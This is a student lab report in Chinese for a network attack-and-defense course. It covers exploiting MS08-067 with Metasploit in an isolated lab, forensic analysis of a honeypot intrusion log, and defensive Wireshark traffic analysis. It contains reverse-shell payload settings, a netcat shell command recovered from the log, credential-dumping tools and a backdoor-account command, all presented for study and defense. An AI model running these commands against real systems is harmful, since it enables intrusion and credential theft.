20251911 2025-2026-2 《网络攻防实践》实践六报告
1.实践内容
本次实践围绕 Windows 系统远程渗透攻击与防御分析展开,涵盖三个环节:
(1)Metasploit 远程渗透实战
使用 Kali 攻击机对 Windows 2000 靶机实施 MS08-067 漏洞利用,通过 Metasploit 框架完成漏洞扫描、有效载荷配置、反弹 Shell 获取的全过程,体验经典的远程缓冲区溢出攻击手法。
(2)取证分析实践
对一次真实的 NT 系统破解攻击日志进行流量还原,识别攻击者利用的 Unicode 目录遍历漏洞与 RDS 远程代码执行漏洞,梳理攻击链中信息收集、漏洞利用、工具上传、后门部署等阶段的行为特征,并给出针对性防御建议。
(3)团队对抗模拟
攻方利用 Metasploit 对桥接网络中的靶机实施渗透,获取系统控制权;防守方通过 Wireshark 同步捕获流量,分析攻击过程中的扫描特征、漏洞利用数据包及后渗透操作指令,实现攻防双向视角的实战演练。
2.实践过程
2.1 动手实践:Metasploit windows attacker
实验环境
| 操作系统 | IP 地址 |
|---|---|
| Kali Linux | 192.168.200.64 |
| Win2K | 192.168.200.61 |
步骤一:启动 Metasploit 控制台
在 Kali 终端执行 msfconsole

进入 Metasploit 交互界面。
步骤二:搜索目标漏洞模块
输入 search ms08_067,筛选出与 MS08-067 漏洞相关的利用模块

步骤三:加载漏洞利用模块并查看选项
执行以下命令:
use exploit/windows/smb/ms08_067_netapi
show options

此时可见模块要求设置 RHOSTS(目标主机 IP)等参数,其余选项默认适用。
步骤四:选择并配置有效载荷
通过 show payloads 列出兼容载荷

此处选用 generic/shell_reverse_tcp 以建立反向 TCP 连接。随后设置参数:
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.64
set RHOSTS 192.168.200.61

LHOST 为 Kali 本机 IP,用于接收反弹回来的 Shell。
步骤五:执行漏洞利用
输入 exploit 发起攻击。

Metasploit 提示成功建立会话,并返回目标主机的 Windows 命令行交互界面。通过执行 ipconfig /all 验证当前 IP 确为靶机地址

已获得远程控制权!
步骤六:流量捕获与分析
在攻击过程中同步开启 Wireshark,捕获 Kali 与靶机间的通信流量。设置过滤器 ip.addr == 192.168.200.61 && ip.addr == 192.168.200.64

观察到 SMB 协议交互及反向 Shell 建立后 TCP 端口 4444 上的加密数据流。追踪 TCP 流可还原在靶机上执行的命令及回显信息

证实攻击流量未采取额外混淆措施。
2.2 取证分析实践:解码一次成功的 NT 系统破解攻击
分析对象
snort 日志文件 snort-0204@0117.log
【记录了攻击者 IP 212.116.251.162 对蜜罐主机 172.16.1.106的完整攻击过程。】
用wireshrk打开此文件
分析过程与发现
(1) Unicode 目录遍历漏洞利用
首先过滤 HTTP 流量ip.addr == 172.16.1.106 && http

发现攻击者构造了包含 %C0%AF 编码的恶意 GET 请求:

%C0%AF 是字符 / 的非法 UTF-8 超长编码。早期 IIS 在路径规范化时先检查 ../ 再解码 Unicode,导致攻击者可绕过目录限制,读取网站根目录外的系统文件。服务器返回了 boot.ini 内容,泄露了操作系统版本信息。
(2) RDS 远程代码执行漏洞利用
随后出现大量对 /msadc/msadc.dll 的请求

表明攻击者正在探测 RDS 组件漏洞(MS02-065)。
追踪包含 POST 请求的 TCP 流tcp.stream eq 11

可见攻击载荷通过 boundary 分隔符嵌入 SQL 注入语句,利用堆溢出(?)在服务器端执行任意命令。
(3) 命令执行与反弹 Shell
在追踪攻击者利用 RDS 漏洞的后续活动时,重点关注了 HTTP 请求中是否出现对系统可执行文件的直接调用。经过对相关会话的筛查,一条携带明确命令行参数的 GET 请求引起了注意。

URL 解码

还原该请求的完整路径如下:
在数据包编号 1233 的 HTTP GET 请求中,路径被解码为:
/msadc/../../../../program files/common files/system/msadc/cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe
攻击者借助路径跳转定位到 cmd1.exe,并通过参数 -l -p 6969 -e cmd1.exe 在目标 6969 端口监听,反弹命令行 Shell,为后续完全控制奠定基础。
(4) 后渗透活动
对捕获流量中的 FTP 协议会话进行专项提取。通过过滤端口 21 的控制连接并追踪 TCP 流

-
FTP 登录与工具上传:攻击者通过明文 FTP 传输,使用账号
johna2k/haxedj00登录,上传nc.exe、pdump.exe、samdump.dll等工具至服务器。 -
密码窃取:运行
pdump.exe配合samdump.dll提取系统账户哈希,为横向移动做准备。
(5) 攻击链总结
- 利用 Unicode 漏洞读取
boot.ini,确认目标为 Windows NT 4.0 + IIS 4.0。 - 利用 RDS 堆溢出漏洞(MS02-065)获取 SYSTEM 权限初始 Shell。
- 通过 FTP 下载后渗透工具集。
- 部署 Netcat 反弹 Shell 保持持久化访问。
- 窃取系统账户信息。
(6) 攻击者是否察觉蜜罐?
过滤数据包得跟踪得

说明攻击机已经警觉,只是并未立即终止活动,反而故意留下戏谑信息(echo best honeypot i've seen till now 😃 > rfp.txt)
(7) 防御建议
- 漏洞修复:及时安装 MS00-078、MS01-026、MS02-065 等安全补丁,删除 IIS 默认虚拟目录及危险组件。
- 访问控制:限制 Web 服务账户权限,禁止访问系统目录。
- 流量监控:部署 WAF 过滤包含
%C0%AF、../等特征的恶意请求,并审计 IIS 日志中异常路径访问。
2.3 团队对抗实践:Windows 系统远程渗透攻击与分析
攻方信息
- 使用漏洞:MS08-067(Microsoft Server Service 相对路径栈溢出)
- 攻击机 IP:192.168.200.64(Kali)
- 靶机 IP:192.168.200.61(Windows 2K)
攻击实施过程
攻方按照 2.1 节步骤成功获取靶机反向 Shell

后渗透操作验证
- 使用
net user testuser 123456 /add创建本地账户testuser
![image]()
通过 net user testuser 验证账户

添加成功,证明当前 Shell 已具备 SYSTEM 级别权限。
- 执行
dir C:\、dir C:\WINNT\system32命令
![image]()
确认可自由浏览关键系统目录,为后续持久化或横向移动提供基础。
防守方流量分析
防守方在攻击开始前即启动 Wireshark,监听桥接模式下所有虚拟网卡流量,并设置过滤器 ip.addr == 192.168.200.64 && ip.addr == 192.168.200.61 以聚焦攻防双方通信。通过对捕获数据包的逐层解析,还原出攻击的完整网络行为特征:
-
SMB 探测与会话建立阶段
![image]()
-
观察到攻击机向靶机 445 端口发起 TCP 三次握手
![image]()
-
随后进行 SMB 协议协商(
Negotiate Protocol Response),双方协商使用 NT LM 0.12 方言。
![image]()
-
紧接着出现 NetBIOS 会话服务数据包,其中包含
Session Setup AndX Request,攻击机尝试使用空会话或匿名凭据建立 SMB 连接,为后续漏洞利用做准备。
![image]()
-
-
漏洞触发与利用阶段
![image]()
图中出现大量连续的Write AndX Response数据包,表明攻击机正在通过已建立的命名管道向靶机写入数据。尽管 Wireshark 未直接捕获到SMB_COM_TRANSACTION请求包(可能由于抓包时机略晚于漏洞触发瞬间),但结合 Metasploit 攻击原理与靶机后续行为,这些Write操作正是向\PIPE\srvsvc管道注入畸形路径字符串的过程,旨在触发 MS08-067 栈溢出漏洞。在正常 SMB 通信中,极少出现如此密集的连续写入响应,这一异常模式本身就是攻击流量的显著特征。 -
反向 Shell 建立阶段
漏洞触发成功后,靶机(192.168.200.61)主动向攻击机(192.168.200.64)的 4444 端口发起 TCP 连接请求,建立了一条反向 Shell 通道。防守方通过新增过滤器tcp.port == 4444追踪该会话
![image]()
![image]()
发现以下关键证据:
- 连接方向与正常 SMB 通信相反(靶机为 SYN 发起方),符合反向 Shell 典型行为。
- TCP 流内容以明文形式传输,可清晰看到攻击者键入的命令,以及靶机返回的系统信息和命令执行结果。
- 交互数据中包含 Windows 命令行提示符
C:\WINNT\system32>,确认攻击者已获得交互式 Shell 权限。
- 流量特征归纳
![image]()
通过对上述流量的分析,防守方总结出 MS08-067 远程渗透攻击在本次实验中的网络层特征:
- SMB 会话异常:短时间内密集出现
Session Setup AndX、Tree Connect AndX、NT Create AndX及连续Write AndX操作,与正常文件共享行为显著不同。 - 明文命令回显:攻击者未对 Shell 会话加密,导致后渗透操作全程可读,为防守方提供了直接的取证依据。
防守方通过流量分析验证了攻击特征,明确了 MS08-067 漏洞利用在网络层面的可检测性。
3. 学习中遇到的问题及解决
问题一:Metasploit 攻击时正确设置 payload 后仍无法获得反弹 Shell
- 现象:按照教程依次执行
search ms08_067、use exploit/windows/smb/ms08_067_netapi、set payload generic/shell_reverse_tcp、set LHOST 192.168.200.64、set RHOSTS 192.168.200.61后,运行exploit命令,Metasploit 提示攻击已完成但并未出现会话,靶机端也无任何反应。 - 原因分析:我的两台虚拟机使用了 NAT 模式与桥接模式混用,导致反向连接时路由不可达。
- 解决方法:将两台虚拟机均切换为桥接模式并重新分配同网段静态 IP
问题二:后渗透操作中部分 Windows 命令无法执行
- 现象:在使用
net user testuser /add创建用户提示命令语法错误。 - 原因分析:反弹 Shell 的环境变量可能未完全继承,导致
net.exe路径未被识别。 - 解决方法:使用
echo %USERNAME%查看当前用户;对于net user命令,指定完整路径C:\WINNT\system32\net.exe user testuser 123456 /add执行。
4. 实践总结
本次实验锻炼了我的工具操作能力,为后续实战打下坚实基础。











浙公网安备 33010602011771号